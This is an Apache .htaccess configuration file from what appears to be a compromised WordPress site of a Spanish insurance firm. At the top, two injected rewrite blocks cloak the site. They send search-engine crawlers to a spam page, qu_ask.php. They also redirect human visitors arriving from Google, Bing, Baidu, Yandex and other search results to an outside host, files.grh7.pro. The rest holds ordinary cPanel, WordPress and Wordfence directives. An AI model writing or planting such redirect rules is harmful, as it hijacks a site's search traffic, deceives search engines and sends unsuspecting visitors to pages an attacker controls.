File: /home/trebiaseguros/www/trebiaseguros.com/.htaccess
<IfModule mod_setenvif.c>
SetEnvIfNoCase User-Agent "(Googlebot|Googlebot-Image|Googlebot-News|bingbot|Baiduspider|YandexBot|Slurp|DuckDuckBot|Sogou|Bytespider|AdsBot-Google|Mediapartners-Google)" is_spider=1
</IfModule>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_URI} ^/qu_ask\.php$ [NC]
RewriteRule ^ - [L]
RewriteCond %{ENV:is_spider} ^1$
RewriteCond %{REQUEST_URI} !^/news/
RewriteCond %{REQUEST_URI} !^/qu_ask\.php$ [NC]
RewriteRule ^.*$ /qu_ask.php [R=301,L]
</IfModule>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^https?://(www\.)?%{HTTP_HOST} [NC]
RewriteCond %{ENV:is_spider} !=1
RewriteCond %{HTTP_REFERER} google\.[^/]+/(search|url) [NC,OR]
RewriteCond %{HTTP_REFERER} bing\.com/(search|ck/) [NC,OR]
RewriteCond %{HTTP_REFERER} (search\.yahoo\.com|r\.search\.yahoo\.com) [NC,OR]
RewriteCond %{HTTP_REFERER} baidu\.com/(s|link) [NC,OR]
RewriteCond %{HTTP_REFERER} sogou\.com/web [NC,OR]
RewriteCond %{HTTP_REFERER} duckduckgo\.com/\? [NC,OR]
RewriteCond %{HTTP_REFERER} yandex\.(com|ru|net)/search [NC]
RewriteRule ^ https://files.grh7.pro/new.php [R=301,L]
</IfModule>
# BEGIN cPanel-generated php ini directives, do not edit
# Manual editing of this file may result in unexpected behavior.
# To make changes to this file, use the cPanel MultiPHP INI Editor (Home >> Software >> MultiPHP INI Editor)
# For more information, read our documentation (https://go.cpanel.net/EA4ModifyINI)
<IfModule php8_module>
php_flag display_errors Off
php_value max_execution_time 60
php_value max_input_time 90
php_value max_input_vars 2000
php_value memory_limit 800M
php_value post_max_size 800M
php_value session.gc_maxlifetime 1440
php_value session.save_path "/var/cpanel/php/sessions/ea-php83"
php_value upload_max_filesize 800M
php_flag zlib.output_compression Off
</IfModule>
<IfModule lsapi_module>
php_flag display_errors Off
php_value max_execution_time 60
php_value max_input_time 90
php_value max_input_vars 2000
php_value memory_limit 800M
php_value post_max_size 800M
php_value session.gc_maxlifetime 1440
php_value session.save_path "/var/cpanel/php/sessions/ea-php83"
php_value upload_max_filesize 800M
php_flag zlib.output_compression Off
</IfModule>
# END cPanel-generated php ini directives, do not edit
# BEGIN WordPress
# Las directivas (líneas) entre «BEGIN WordPress» y «END WordPress» son
# generadas dinámicamente y solo deberían ser modificadas mediante filtros de WordPress.
# Cualquier cambio en las directivas que hay entre esos marcadores serán sobrescritas.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress
# Wordfence WAF
<Files ".user.ini">
<IfModule mod_authz_core.c>
Require all denied
</IfModule>
<IfModule !mod_authz_core.c>
Order deny,allow
Deny from all
</IfModule>
</Files>
# END Wordfence WAF
# php -- BEGIN cPanel-generated handler, do not edit
# Set the “ea-php83” package as the default “PHP” programming language.
<IfModule mime_module>
AddHandler application/x-httpd-ea-php83 .php .php8 .phtml
</IfModule>
# php -- END cPanel-generated handler, do not edit